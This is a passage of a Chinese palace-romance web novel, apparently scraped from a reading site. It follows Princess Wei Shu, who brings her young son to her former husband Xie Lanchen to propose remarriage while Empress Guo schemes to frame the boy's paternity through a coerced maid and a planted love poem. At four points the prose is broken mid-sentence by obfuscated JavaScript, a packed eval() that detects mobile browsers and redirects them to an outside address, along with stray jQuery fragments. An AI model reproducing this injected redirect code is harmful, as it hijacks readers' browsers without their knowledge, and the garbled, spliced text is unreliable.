张公公轻叹口气,到底拿着玉如意退下更换去了。 昭儿乖乖地坐在一旁,脑海里却在想着母亲方才的话,随后他又朝屋内四下看去,很快找到了那个自己熟悉的小柜子。 屋子里的大人们还在各自忙碌着自己的事,织云着人抬来了一个半人多高的穿衣镜,和其他婢女一起伺候魏姝又试了几套衣裳。奶娘既是头一次见魏姝打扮得这般明艳,简直如神妃仙子一般,又好奇那些样式华美的衣裳,忍不住频频往那边张望。众人竟一时都没留意昭儿。 昭儿自己走到小柜子前,拉开柜门,果然一眼便看见了自己最爱的崖蜜正摆在里头。 柜子里一共有两瓶,一瓶满的,一瓶已经吃下一小半。 昭儿犹豫许久,最终还是有些费力地拿起那瓶满的,装进了放贺礼的箱子里。 * 等一切收拾停当,魏姝带着昭儿和贺礼赶到会同馆的时候,已是月上柳梢。 会同馆的副使林昶,早早便等候在了馆外。 林昶也曾是魏姝诗酒会上的宾客,颇有才名,只可惜运气实在不佳,接连三次参加科举,三次都因为各种各样的突发状况,连考院都没能进去。 蹉跎了十来年,眼看满身的志气都要耗没了。 魏姝觉得可惜,便把他举荐给了父皇,父皇授了他一个工部的职,但在新帝登基后,林昶又被调到了会同馆做副使,负责接待边地及外国的使者。 之前张公公打探消息能如此顺利,便是托了林昶的福。 昏黄的光线下,魏姝缓步走下马车,露出精心装扮过的面容,抬眼间风华流转。 林昶匆匆一瞥,便急忙低下头,不敢再看,向魏姝行礼问安后,便小声说道:“嘉王半个时辰前已经回到馆内,这会儿刚用过晚膳。” 他帮魏姝,不只是为了还当日举荐的恩情,心里更把魏姝视作自己的伯乐,最近有关魏姝和亲的事传的沸沸扬扬,他有心想要多关心魏姝几句,又怕耽误了魏姝的正事,索性连寒暄也省了,直接边说正事,边把人引进会同馆。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17058040|194915||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' * 谢闵得知崇宁公主前来拜会时,一脸的不可思议,他隔着门对沐浴中的谢兰臣回禀了此事,又道:“哪有人大晚上来送贺礼的,只怕醉翁之意不在酒,要不卑职就说王爷已经歇下了,把人打发回去?” 屋内谢兰臣漫不经心的声音,伴随着幽幽的檀香气一起传来:“好歹也是旧识一场,怎好如此轻慢呢?再则,拒人于门外,亦非君子待客之道。” 谢兰臣要待客,人却在浴中,只能由谢闵先出面招待魏姝。 谢闵带人去迎,老远就看见一美人,袅娜地立在廊下。 他常听人说起,崇宁公主姿容无双,之前只远远见过一面,未能看清真容,今天得以近看,才明白何为海棠醉日梨花带雨,风采照人胜过满庭烛火。 传言果然不虚,也难怪嘉王不舍得把人拒之门外。 想到嘉王,谢闵瞬间从美色中回神,慢半拍地注意到,魏姝手里还牵着一个孩童,约莫两岁左右年纪,大约就是嘉王名义上的儿子了。 谢闵一时神色复杂,忍不住细细打量孩子的长相,试图找到对方与谢兰臣相似或不像的地方…… 就在谢闵端详魏姝母子时候,魏姝也在观察他。 对方那身熟悉的青衣,又让魏姝想到了今日街上见到的那道身影,结合张公公打探来的消息,以及香粉铺子门口的那声“谢公子”,所以,面前这人就是谢兰臣? 对方眉眼确实与自己记忆中的隐约相似,可……怎么突然变丑了许多?虽然还能称得上清俊,可和当初相比,说一句残花败柳也不为过了。 不过才两年多不见,西北的风这么摧折人的吗? 魏姝掩下心里道不明的失落,没忘记自己此行的目的,对来人展颜笑道:“听闻嘉王进爵,特来庆贺,只是不请自来,还望见谅。” “公主有心了,请先入内用茶。” 谢闵也收回打量,刚要请人进屋,说嘉王随后就到,却见魏姝突然推了推身边的孩子说:“昭儿,快来拜见你爹爹。” 9. 相见 什么爹爹?爹爹在哪儿? 谢闵被魏姝这句突如其来的话搞得有些懵,一时没能反应过来,甚至还迟钝地往四周望了望,以为是谢兰臣来了。 魏姝见他神色不对,只当他是在疑心昭儿的身世,便又解释道:“虽然外头一直有些闲言碎语,说些没根据的话造谣昭儿的出生,但昭儿确实是你的儿子,你看他长得多像你……” 这回,谢闵终于听明白了,登时惊得一阵猛咳。 他可不敢做小郡王的爹,这要是让嘉王误会了什么,不是要他的命吗? 也怪他没先自报身份,可就算当初两人的婚事很敷衍,也不至于敷衍到连自己同床共枕过的驸马长什么样都记错吧? 谢闵止住咳嗽,尴尬地解释道:“公主认错人了,卑下乃嘉王府长史,我们嘉王……” 他忽然一顿,望向魏姝身后,“嘉王就在公主身后。” 魏姝下意识回头,便见月下一人紫袍金冠,濯如春柳,轩然霞举,手提一盏灯,正站在离她几步之遥的地方。 看着对方那张和记忆里一模一样的脸,魏姝霎时僵在原地。 这才是真正的谢兰臣。 自己不但认错了人,竟然还当着谢兰臣的面,说昭儿和别人长得很像…… 明明谢闵和谢兰臣不怎么像的,她刚才到底是怎么把两人认错的? 来之前,魏姝设想过各种情况,谢兰臣不认昭儿,谢兰臣故意为难自己,甚至谢兰臣直接对自己拒而不见,她都提前想过,并做了应对,却怎么也没料到眼下这种状况。 魏姝脑海空白了一瞬,尴尬得手都是麻的,尤其在对上谢兰臣似笑非笑的目光后,甚至想直接扭头回府,等着嫁给靺鞨王子算了。 然而这时,昭儿忽然开口,仰头朝谢兰臣的方向喊了声:“爹爹。” 魏姝心底猛地一颤,这是昭儿第一次开口叫人,虽然叫的不是自己,让魏姝略有遗憾,但却巧合地帮了她一个大忙。 魏姝深吸了口气,努力让自己先忘记尴尬,多想想昭儿,想想靺鞨王子的秃顶,想想自己的高床软枕锦衣玉食宝马香车…… 和这些比起来,脸面又值当什么呢? 魏姝闭了闭眼,再睁开时,脸上已经挂上了得体的歉笑,她大大方方地对谢兰臣认错道:“我最近总是夜间难眠,以致双眼干涩,视物不清,这里烛火又暗,不防竟认错了人,幸亏昭儿眼神好,没枉费我平日对他的教导,虽是第一次见,他倒是一眼便认出了王爷呢。” 这一篇话,听的一旁的谢闵啧舌不已。 崇宁公主不但人生得漂亮,话说的也漂亮。 她自己虽认错了人,但她儿子却没认错,而她儿子之所以能一眼辨认出嘉王,自然全赖她这位母亲的教导,如此一来,她那个不怎么可信的认错人的理由,也变得可信了起来。 她还故意提及自己常常夜间难眠,一般人听了,十有八九要客气问上一句因何难眠。这么一问,她就又有话头说起此行的目的,不知不觉中便能掌握话题的主动权。 然而,谢兰臣却完全不受魏姝的话语引导,他目光在魏姝身上停驻几息,又扫过一旁的昭儿,毫不客气地说道:“我还当是公主早忘了我的长相,毕竟我们成亲还不到一月,公主就开始兴高采烈地举办诗酒会,广邀才俊,把酒言欢,听说好不快活,实在是不像会有时间提起我的样子。” 魏姝略有些心虚,面上却神色自若道:“我当时不过是气你新婚第二天说走就走,走了那么久,又连封家书也没有,便也想气气你,什么才俊酒会,不过都是做样子罢了。” 谢兰臣又道:“可我还听说,其中有几位才俊深受公主赏识,三五不时便会被召进宫中,公主又是举荐又是赏赐的,十分偏爱他们,这可不像是做样子会有的。” 他又补充道:“倒不是我有意探查公主的过往,实是我才一住进这里,便有人殷勤透露给我,还说这会同馆中的林副使,便是受公主偏爱的才俊之一。” 想也知道,这不是皇叔的手笔就是郭皇后的。 魏姝道:“我并没什么不能被外人知晓的事,宫里到处都是人,我身为公主,行止坐卧一举一动皆有宫人跟随,稍有出格,便有嬷嬷阻拦劝诫,虽与你提到的那些人确实亲近了些,也只是君子之交,绝无那些小人以为的苟且。” 魏姝观察谢兰臣的神情,并没有从他眼中看到对自己容貌明显的喜爱,但也没看到他对自己和昭儿的憎恶和排斥,即便眼下是在质问她,谢兰臣脸上也不见丝毫的愤怒或嘲讽,态度简直堪称和善。 甚至,魏姝恍惚还从中体会到一种“我其实并不在意这些,但是别人觉得我应该在意,那我就勉强在意一下”的错觉。 两人一直站在廊下说话。谢闵及其他人早已退了下去,把守在廊道前后,谨防有人打扰。 一阵夜风吹过,带来一丝初夏的躁意。 魏姝又咬了咬唇,露出一丝恰到好处的难为情:“至于为什么独独偏爱他们几个,不过是因为他们或多或少都与王爷你有些相似之处,我忍不住爱屋及乌罢了。” 她撒了个谎,但也没完全撒谎。 魏姝也是昨晚想事情的时候才恍然察觉,自己的审美竟始终如一,独偏爱谢兰臣这样的长相。那些能被她多次召见参加诗酒会的,除了为人特别有趣的,其他的或多或少都有几分谢兰臣的影子。 像是林昶,眼睛便生的和谢兰臣有些像,眼尾狭长, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17058041|194915||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 微微上翘,却又不过分深邃凌厉。魏姝每次见了,不觉待他便比旁人更多几分耐心。 谢兰臣目光扫过魏姝唇上未消的牙印:“公主这么说,容易让人误会。” 魏姝垂下眼睫道:“若没有误会呢?虽然你我当初的婚姻,算不得你情我愿,但我第一眼见你,便被你的风采折服,思慕至今,只可惜那时年轻气盛,怕被你知道我心悦于你,便会被你看轻,又觉得连我有孕生子,你都对我不闻不问,实在委屈,这才闹得和离收场。 “你大概也已经知道,我就要去和亲了,这时候提这些本不合时宜,只是我去和亲不打紧,皇叔必定要昭儿留京为质,他还不到两岁,之前因为我同你怄气,让他两年来今天才头一次见到父亲,如今他又要被母亲抛下,独自在神京长大,叫人如何忍心?” 魏姝语带哽咽,再抬起头,已是泪水蓄满眼眶,将落未落。 归根结底,她和谢兰臣的恩怨,主要在昭儿的身世上。 他们之间的那场婚姻,本是一场利益的交换。一方需要一笔丰厚的“嫁妆”缓解灾情,另一方则想要一个拥有魏氏血脉的谢家继承人,好不费一兵一卒瓦解谢家,让西北重归大安。 昭儿还未出生,便注定会被血亲防备,被人谋算也谋算别人,背叛至亲也会被至亲背叛,勾心斗角,汲汲营营,终身难得安顺。 魏姝不想自己的孩子背负这些,所以她故意放任流言,让人误解昭儿的身世。那时候,她以为她自己一个人也能将昭儿很好地抚养长大,谁料世事无常,两年前她毫不犹豫地同谢兰臣和离,今天却轮到她来求谢兰臣。 她得要谢兰臣认下昭儿。 这时候再澄清流言已然无用,魏姝只能把自己扮演成一个深爱前夫并对他念念不忘的人。 这是魏姝苦思冥想了一整夜,找到的最好的化解他们恩怨的办法,既能证明自己今天来找谢兰臣求助,不纯粹是利用,又表明自己不可能背叛他,昭儿只会是他的孩子。 魏姝已经努力演完了自己的戏份,剩下的就是等待谢兰臣相信、或者不相信。 不过,鉴于谢兰臣过分和善的态度,魏姝觉得头者的可能还是不小的。 然而时间一分一秒过去,谢兰臣却迟迟没有任何反应,魏姝本就忐忑的心,越发不安起来,却又在不自觉中把脊背挺得越发笔直,丝毫不像是在低头求人的样子。 谢兰臣看得有意思,想到了大雪天被积雪压弯的韧竹,只要稍微借一丝力,便能甩脱负重,再次恢复直韧笔挺。 他终于开口道:“照公主所说,倒是我有负于公主了,公主想让我做什么?” 魏姝牵住昭儿的手紧了紧,顿了顿才说道:“我想同王爷复婚。” 10. 万一 戌时,长春宫。 郭皇后方一个人用罢晚饭,冉嬷嬷便走进来,遣退宫人,小声对郭皇后道:“外头传信进来,说崇宁公主去了会同馆。” “我就知道她不会安分,”郭皇后脸上并无意外,问道,“靺鞨王子和嘉王都住在会同馆,她是去见谁?” 冉嬷嬷答说:“娘娘忘了,王子嫌会同馆不方便,安置不下他买来的美婢,早另置了院子,搬出去住了。” 郭皇后嫌恶地皱了皱眉:“说起来也是个王子,却没半点王子的样子,要不是恰好赶上这时候,哪儿轮得到他娶大安的公主?我心里虽看不上崇宁,但也觉得嫁给他是糟蹋了。” “谁说不是呢,咱们的公主再不好,也胜过他们那些蛮子千百倍。” 冉嬷嬷附和一句,又说回正事,“传信的人说,崇宁公主去拜会的是嘉王,不过却连正门都没进,嘉王只在廊下和她说了几句话,虽没听见说的是什么,不过崇宁公主回去的时候,眼睛是红的,像是哭过,过门槛的时候还不小心踉跄了一下。不论她这趟找嘉王是什么目的,想是都没成。” 郭皇后嗤了一声:“还能是什么目的?无非是不想去和亲,求嘉王襄助罢了。” “西北再强势,也不能插手公主的婚事,崇宁公主求嘉王帮忙,难不成是求嘉王与她复婚?”冉嬷嬷推测完,又讥讽地笑起来,“奴婢说句不好听的,崇宁公主让嘉王做了这么多年的乌龟王八,嘉王不趁机报复她就算好的,怎么可能会再同她复婚,这不是痴人说梦吗?退一万步来说,便是嘉王鬼迷心窍真同意了,皇上也是不许的。” 郭皇后轻哼一声:“不见棺材不落泪,垂死挣扎罢了。” 冉嬷嬷笑道:“奴婢看她也挣扎不了多久了,后天就是宫宴,届时赐婚的圣旨一下,一切尘埃落定,再无可能更改。只待崇宁公主和亲远嫁,娘娘也能彻底祛除一块儿心病。” 曾经在裕王府伺候过的老人都知道,郭皇后因为崇宁公主受过多大的委屈。 事情还要从魏姝幼时说起。 在魏姝的周岁宴上,当时还只是裕王妃的郭皇后,见她生的玉雪可爱,忍不住抱了抱她,想沾沾她的福气,也生个同样可爱的小郡主,然而魏姝才离开裕王妃的怀抱,便突然发起高烧,直接昏厥了过去。 太医查不出病因,又不敢给小孩子用猛药,直花了半个多月,魏姝才勉强痊愈。 然而在不久后的除夕宫宴上,裕王妃因为愧疚,特意离席去探望魏姝,魏姝却再次发病,这次病得更凶,却依然难查病因。 这时,一个时常进宫侍奉的道士说,裕王妃命格与魏姝犯冲,是裕王妃克了魏姝,魏姝才每次一见到她就发病。 先皇本就崇信道教,又觉得事情确实太过巧合,便信了那道士的话,不顾众人反对,硬逼裕王休妻。最后虽被劝下,但自此以后,裕王妃便不被允许参加任何宫宴,还被罚去城外的道观清修了一月。 为此,很长一段时间,裕王妃在宗室里都抬不起头,日子更是过得如履薄冰,生怕被先皇寻到错处,再受惩戒。 虽然当时处罚郭皇后的是先皇,可这一切全因魏姝而起,任郭皇后再贤良,也忍不住对魏姝心生不愉,偏偏因为魏姝先帝遗孤的身份,郭皇后又不得不对她好。 长此以往,魏姝可不就成了郭皇后的一块儿心病。 好在一切都快结束了。 郭皇后心里也松快不少,顿了顿又道:“平宁年纪也不小了,崇宁只比她大一岁,这都二嫁了,之前我舍不得平宁,让她在我身边多留了两年,可再舍不得,也终有出嫁的那天。” 郭皇后育有一子一女,儿子乃二皇子魏珀,女儿便是平宁公主魏婧。 冉嬷嬷听音知意,问道:“娘娘心里可是已有了驸马的人选?”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17058042|194915||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 郭皇后看向她:“你觉得嘉王如何?” 冉嬷嬷面上闪过一丝犹豫,张了张嘴却没有出声。 嘉王好是好,可前头已经成过一次亲,娶的还是平宁公主的姐姐,这时候平宁公主再嫁过去,像是姐姐不要的东西才轮到妹妹,多少有些委屈。 冉嬷嬷跟随郭皇后多年,郭皇后一眼便看出她的心思:“我们之间有什么不能说的?你是觉得我委屈了平宁?” 冉嬷嬷躬身道:“奴婢只是觉得,嘉王何德何能连娶两位公主。” 郭皇后长叹一声:“在外人看来,我与皇上少年夫妻,恩爱有加,可实际你也看到了,这宫里新进的美人是越来越多了,过不了多久,皇子也会越来越多,珀儿需要更多的助力。咱们嫌弃嘉王是再娶,却不知外头想做嘉王妃的人多的是,与其便宜了别人,倒不如让平宁嫁过去。 “我已差人打听清楚,嘉王虽是庶出,却是打小在嫡母跟前养大,又自小随嫡母一起礼佛念经,性情不似寻常武将粗鲁暴躁,反而温雅守礼,前头崇宁如此作践他,昭儿出生的时候,他还和和气气地送了贺礼,也没说一句难听话,由此可见,不是个君子,就是性子好拿捏的。平宁嫁过去,应该不会吃亏。” 冉嬷嬷听郭皇后的意思,已然是已经下了决断,便也改口道:“娘娘考虑的是,想当初先皇那般宠爱崇宁公主,不也让她嫁给了谢家,这都是为了大局考量,并非是不疼爱的意思。况且,崇宁公主出嫁的时候,嘉王只是靖西侯,咱们平宁公主嫁的却是货真价实的王爷,虽是后嫁的,却更胜一筹呢。” 郭皇后闻言,露出满意之色。她低头盘算一阵,又说道:“我到底有些不放心,越到了跟前,便越要谨慎,虽然都说昭儿不是嘉王亲生的,但就怕突然有个万一。” 她对冉嬷嬷吩咐道:“你去把琢玉找来,无论如何昭儿都不能是谢兰臣的儿子。” 11. 祈福 琢玉跟在冉嬷嬷身后,进了郭皇后的寝殿。 自从被调到长春宫,琢玉虽然认了冉嬷嬷做干娘,但郭皇后对她一直不冷不热的,甚至都没让她进屋伺候过,这时候却突然召见自己,琢玉心里难免有些不安。 郭皇后见了她,却很是和颜悦色地问道:“这两日在长春宫可还适应?” 琢玉谨慎地答道:“这里的姑姑和姐姐们都很照顾奴婢,奴婢过得很好。” 郭皇后又道:“我这两日事忙,一直也没顾上你,我听你干娘说,你做事很伶俐,以后就留在我身边贴身伺候吧。” 琢玉立刻感激道:“奴婢谢娘娘抬举,今后一定好好伺候娘娘,为娘娘肝脑涂地。” 郭皇后玩笑道:“我要你的肝脑做什么?不过,却有几句话想问你。” 琢玉道:“娘娘尽管问,奴婢一定知无不言。” 郭皇后缓缓说道:“崇宁去和亲,必然不能带昭儿一起去,为免她有后顾之忧,我有意为她抚养昭儿。昭儿眼下还小,可能不知事,但等他长大了,总要问起父母的事,你之前是一直贴身伺候崇宁公主的,可知道小郡王的生父究竟是谁?” 琢玉犹豫着摇了摇头:“奴婢虽然贴身侍奉公主,却并不是时时刻刻都跟在公主身边,有些事奴婢也不知情。” 郭皇后皱了皱眉,显然对她的答案并不满意,便又换了个问法:“当初崇宁成亲,你应该是见过嘉王的,你觉得小郡王和嘉王长得像吗?” 琢玉之前确实见过嘉王,只是时间已经过去这么久,她只记得嘉王样貌不俗,至于具体长什么样早忘了差不多了。但她知道郭皇后想听什么,便答道:“小郡王和崇宁公主长得很像,和嘉王……奴婢觉得不大像。” 郭皇后又问:“进宫参加过诗酒会的那些人里,总有和小郡王长得格外相像的吧?” 听到这里,琢玉还有什么不明白的?郭皇后这是要她从中挑出一个,指认对方是小郡王的生父。 让她随意说出一个人名很容易,不过是上下嘴皮一碰的事,可这个名字一旦说出来,就是坐实公主失德,更是害了那个被指认的人。 琢玉忽然害怕起来。 她之前背叛崇宁公主,实是情非得已,也不过是传了公主几句闲话,并未真正害人,可这次……弄不好是要出人命的。 琢玉迟迟不敢开口,冉嬷嬷冷声提醒她道:“别忘了谁才是你现在的主子,人能念旧是好,却不能有二心,你是我的女儿我才提醒你,别看不透形势!” “何苦吓唬她。”郭皇后不轻不重地斥了冉嬷嬷一句,又柔声对琢玉说,“太.祖恩典,宫女到了一定年纪,准许放出宫自由婚配。听你干娘说,你一直盼着能提早出宫,这并不是什么难事,但这宫里,也有一辈子都出不了宫的宫女,你这么伶俐,应该知道怎么选的。” 琢玉挣扎良久,终是在两人的目光下涩声道:“小郡王的长相,同徐翰林的小儿子徐子期公子有些像。” “有段时间,崇宁公主格外喜欢徐公子的诗作,连着召见了他好几回,直到听说徐公子要科举入仕,怕影响他的声名,公主这才没再召见他。” 郭皇后虽是暗示琢玉随意指认一人,可这个人选也不是乱挑的,自然要确实和小郡王有相似之处,又和崇宁公主多次来往过的。 “很好。”郭皇后露出满意的神色,示意冉嬷嬷取来一包银子,赏给琢玉道,“你先下去歇息吧,今后我自不会亏待你。” * 此时的公主府内,魏姝已经从会同馆回家快一个时辰了,人还有些恍惚。 一个时辰前,她对谢兰臣提出复婚,谢兰臣竟然毫不犹豫就答应了,甚至都没再核实一下昭儿的身世。 按魏姝原本的计划,要先对谢兰臣动之以情,让他认下昭儿,再诱之以利,表明自己虽然不似先前风光,但手里的钱财不少,娶自己仍有利可图,谢兰臣权衡之下答应复婚。这才是常理的发展。 然而谢兰臣答应得这般轻易,反而让魏姝不安。 俗语有云:物之反常者为妖,人若反常必有刀。 靺鞨王子之所以指明求娶自己,魏姝多多少少猜到可能与谢兰臣有关。会不会是谢兰臣为了避免被羞辱,或者仍记恨自己两年前所为,便假意答应复婚,打算回到西北就让自己“病逝”,或是寻个由头,把自己送去寺庙里,好眼不见为净? 还有,即便谢兰臣是真心答应,想真正复婚,还需皇叔允准,便是有谢兰臣帮忙,皇叔那关也未必好过…… 魏姝焦虑过一阵,最后又自己想开了。至少眼下能做的她都做了,多思无益,剩下的就听天由命了。最坏不过是去靺鞨和亲,到了靺鞨仍大有可为,不过是日子过得艰苦些,总能再想法子把昭儿接回自己身边的。 想到昭儿,魏姝没忘记他是今天的大功臣,要不是他那声及时雨一般的“爹爹”,任自己再多出一张嘴,也圆不好当时的情形。 为了嘉奖昭儿,晚饭时,魏姝破例许他多吃一勺崖蜜。 织云打开柜子取崖蜜的时候,却发现少了一瓶,但因为才刚搬家,东西凌乱,她也记得不大清楚,只当是从宫里收拾东西的时候少拿了,并没多想。 用过迟来的晚膳,昭儿却迟迟不肯离开,缠着要和魏姝一起睡。魏姝知道他是因为会同馆的事不安,便同意了。 晚间,母子二人一起在床上躺下,魏姝正要哄昭儿入睡,昭儿却忽然伸出手,轻轻地摸了摸魏姝的眼角,没有摸到水渍,这才小小舒了口气。 魏姝把他揽进怀里拍了拍,安抚道:“别怕,娘亲那会儿不是真的哭。” 想到昭儿大约也听不懂什么“爱屋及乌”“心悦爱慕”之类的话,魏姝便又糊弄昭儿道:“娘亲那时候是喜极而泣,喜极而泣的意思是,人在太开心的时候,会忍不住哭出来,我是因为见到你爹爹太过开心了,这才流泪,并不是因为伤心。” 想了想,她又加上一句:“不是你爹爹惹哭我的,你也不要生你爹爹的气。” 昭儿虽是谢兰臣的骨肉,但之前两人从未见过,也不过是两个陌生人而已。只有彼此多亲近,两人才能尽快熟悉起来,也能让谢兰臣更快找到做父亲的感觉,真正爱护昭儿。 昭儿现在需要依赖谢兰臣,而不是排斥他。所以魏姝才会替他说几句好话。 昭儿听懂了魏姝的话,但还是有些不开心,把头埋在魏姝肩膀上,闷闷地嗯了一声。 次日早起,魏姝亲自照顾昭儿起床,又对织云道:“叫人提前备好车马,过会儿我要去城外的庙里进香。” 既然决定了要听天由命,今天便去拜拜神佛,祈求一些好运。 虽然是临时抱佛脚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17058043|194915||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,但也聊胜于无吧。 织云却疑惑道:“公主不去三清观吗?怎么突然要去寺庙里?” 由于先皇崇信道教,上行下效,黎民百姓和达官贵人也多信奉道教的,神京郊外道观的数量,更远胜于寺庙。 魏姝也受父皇影响,往常只在道观祈福,之前给谢兰臣点的长明灯,便供奉在道观里。 但是昨晚,魏姝在和谢兰臣短短的会面中,先是闻到他身上有一股淡淡的香火味,又发现他的头冠上,镶嵌有银珠、琉璃、琥珀、砗磲、珊瑚、玛瑙等宝石,这几种宝石,加上铸冠的金,恰好是佛教所谓的七宝。 魏姝又想到那尊鬼子母的佛像,猜测谢兰臣大约是个信奉佛教的。 作为“深爱”他的前妻,魏姝怎么能不投其所好呢? 魏姝没对织云解释这些,只说道:“哪个更灵验,我便信哪个,今天我想去拜拜佛祖。” 时人也有讲究儒释道三教合一的,织云只当魏姝是一时兴起,没再多问,出门准备车马去了。 小孩子神魂轻,魏姝本不想带昭儿去庙里,可是经过昨晚的事,昭儿粘人得紧,魏姝怕他是被吓到了,只好带上他一起,顺便去庙里为他求道安魂符。 神京城外最有名的寺庙当属护国寺,传闻许多有名望的法师都在此清修过,有名法师加持,寺庙很是灵验。便是早年道教最鼎盛的时候,护国寺依然香火不断。 魏姝此行去的就是护国寺。 她把护卫和大部分的仆从都留在寺外,只带了昭儿和几个随侍入内,挨个殿宇都进去拜了拜,又给寺庙捐了一大笔香油钱。 大约因为魏姝出手实在大方,寺庙的住持亲自出面谢过魏姝,又邀请魏姝在寺内用素斋,还说起后山的桃花这两天开得正好,用过素斋,刚好可以去赏花。 魏姝今日也没别的事,便欣然同意。 昭儿今天走多了路,中午多吃了小半碗杂米粥,魏姝怕他吃撑了,不敢让他就此午睡,便带他去后山赏花消食。 如今已经是初夏时节,山下的桃花早谢了,山上的倒正烂漫。 魏姝嗅闻着花香,正觉惬意,却忽听有人在身后唤了一声:“崇宁?” 她下意识回头,便瞧见一位被丫鬟婆子簇拥在中间,打扮得雍容华贵的年轻妇人。 正是那位因为出嫁太早,没赶上好时候,只以郡主之礼出嫁的文宁公主。对方的母亲便是早先在御花园编排过魏姝,被魏姝用象牙球砸中鼻子的王淑仪。 “果然是你。”文宁公主看见魏姝的正脸,确定自己没认错人,便走上前道,“没想到会在这里遇见你。” 说罢,她又盯着一旁的昭儿,来来回回地打量道:“这是昭儿吧?有段时间不见,已经长这么大了。” 文宁公主打量昭儿的目光,仿佛在逗弄一只小狗,让魏姝很不舒服。 看在对方是自己堂姐的份上,魏姝耐着性子同她寒暄两句,便告辞道:“昭儿该午睡了,我们就不打扰姐姐赏花的雅兴了。” “等等,”文宁公主却拦住魏姝,故意问道,“今天神京有桩新闻,不知道妹妹听说了没有?” 魏姝道:“我今天一早就出了城,并不知道什么新闻。” 文宁公主顿时意味不明地笑了笑:“难怪,我说你怎么还有心情在这儿优哉游哉地赏花呢。” 12. 情诗 魏姝听着文宁公主阴阳怪气的语调,不由皱眉道:“姐姐到底想说什么?” 文宁公主也不再装模作样,冷哼一声道:“徐翰林的小儿子,在京都府做少尹的那个徐子期,妹妹没忘了他吧? “今日勤政殿上,也不知他在父皇面前说了什么忤逆僭越的话,触怒父皇,被当庭罚了三十棍。随后,父皇又传下口谕,斥责徐翰林教子无方,责令他这段时日都不用出门了,且留待家中好生教育儿子。” 说是教育儿子,其实是变相禁足两父子的意思。 但这禁足却没有说明期限,过些时日皇上气消了还好,若是不能,直接被禁足一两年也是有的。 文宁公主目光紧盯着魏姝,脸上露出幸灾乐祸的神情:“之前可是有传言说,徐翰林即将要入阁的,却转眼失了圣宠,妹妹就不好奇徐少尹到底说了什么,才让父皇发这么大的火吗?” 魏姝想也知道她嘴里吐不出什么好话,便道:“我并不好奇,现在我可以离开了吗?” 虽然听文宁公主的话音,徐家父子的事十有八九与自己有所关联,但魏姝可以自己去查。 文宁公主被噎了一下,气得冷笑道:“没想到妹妹竟然这般冷血,徐少尹好歹也同妹妹好过一场,还是昭儿的……” 想到这里是在外面,她到底忍住没说出后头的两个字,却再次拦下魏姝道:“你不想听,我偏要说。今天一早,我进宫请安,恰好知道些内情。 “妹妹昨个儿搬去公主府,永乐宫里还留了好些东西未曾装点。今日一早,宫人在帮妹妹清点物品的时候,不巧翻出一本书,因那宫人不识字,误以为那本书是之前从藏书阁借来的,忘了归还,便把书送去了藏书阁。 “藏书阁的管事却发现,那根本不是书阁的藏书,而是一本妹妹私藏的徐少尹的诗集,诗集中竟然还夹着一首徐少尹写给妹妹的情诗,什么‘昭昭我心,皎日为期’,我都不好意思说出口。” 文宁公主的目光又落到昭儿身上,啧啧了两声道:“之前不觉得,今个儿细细一瞧,昭儿和徐少尹确实有几分像。妹妹以情诗给昭儿命名,也属实是有心了。” 魏姝确实有收藏一些字画诗作,但那都是历朝名师大家的作品,徐子期的诗作还缺少历练,尚算不得臻品,魏姝并没有收藏过,诗集中夹带的所谓情诗,更属无中生有。 有人为了诬陷昭儿的身世,还真是无所不用其极,甚至不惜牵连无辜之人。 魏姝的声音也冷了下来:“今天日头大,姐姐莫不是被晒昏了头,昭儿的名字乃先皇所赐,取日月光辉之意,和徐少尹有什么关系?再者,我若真有什么情诗,不细心藏好,还能叫外人轻易搜去?这般明显的栽赃陷害,姐姐竟看不明白吗?” “是不是陷害我说了不算,妹妹说了也不算。” 文宁公主见魏姝神色不虞,反而越发得意,说道“妹妹不如先听我把话说完,原本那首情诗还不至于让父皇如此动怒,偏偏徐少尹今日进宫觐见,在父皇面前告了靺鞨王子一状,说王子在京屡屡借酒闹事,惹了不小的民怨,请求父皇惩治。 